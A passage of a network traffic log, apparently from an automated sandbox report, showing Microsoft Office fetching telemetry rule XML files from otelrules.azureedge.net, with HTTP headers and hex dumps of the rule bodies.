2024-11-01 12:42:58 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	62314	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:42:59 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 134b0bf0-a01e-0098-2f2e-2c8556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124259Z-16dc884887bvg6x5hC1DFW86ag00000000qg000000000que x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:42:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	62311	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:42:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a3e6b75e-301e-000c-5a08-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124259Z-16ccfc49897cvhbphC1DFWt5d800000000qg00000000besz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:42:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	62313	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:42:59 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f684d678-801e-008c-7c65-2b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124259Z-16ccfc49897z4cgphC1DFWt0y400000000g0000000000hpf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:42:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	62310	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:42:59 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: a28262d6-f01e-0003-5708-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124259Z-16ccfc49897pchpfhC1DFW151000000000gg00000000g1gd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:42:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	62312	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:42:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:42:59 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d856691-501e-0035-564e-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124259Z-176bd8f9bc5zzwfdhC1DFWqpb400000000mg000000007frb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:42:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	62316	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:00 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:00 UTC	498	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6074db47-b01e-0002-3124-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124300Z-159b85dff8flhtkwhC1DFWeu9n00000000zg000000006bye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-01 12:43:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	62315	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:00 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 6c1a5441-101e-00a2-7008-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124300Z-16ccfc49897z4cgphC1DFWt0y400000000h0000000000e4z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	62317	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:00 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: ab6d44c0-401e-005b-6508-2c9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124300Z-16ccfc49897wlhjjhC1DFWsx6c00000000p00000000022pb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	62318	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:00 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:00 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f11c77ca-501e-005b-0724-2cd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124300Z-159b85dff8f5bl2qhC1DFWt05800000001c0000000006rhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	62319	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:00 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:00 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 12e859be-a01e-0098-7408-2c8556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124300Z-16ccfc498974hjqwhC1DFW7uyn00000000gg000000001mpg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	62322	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:01 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: b20ee4a1-601e-0050-660a-2c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124301Z-176bd8f9bc5pzj8phC1DFWsz3000000000ng000000002pqx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	62321	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:01 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
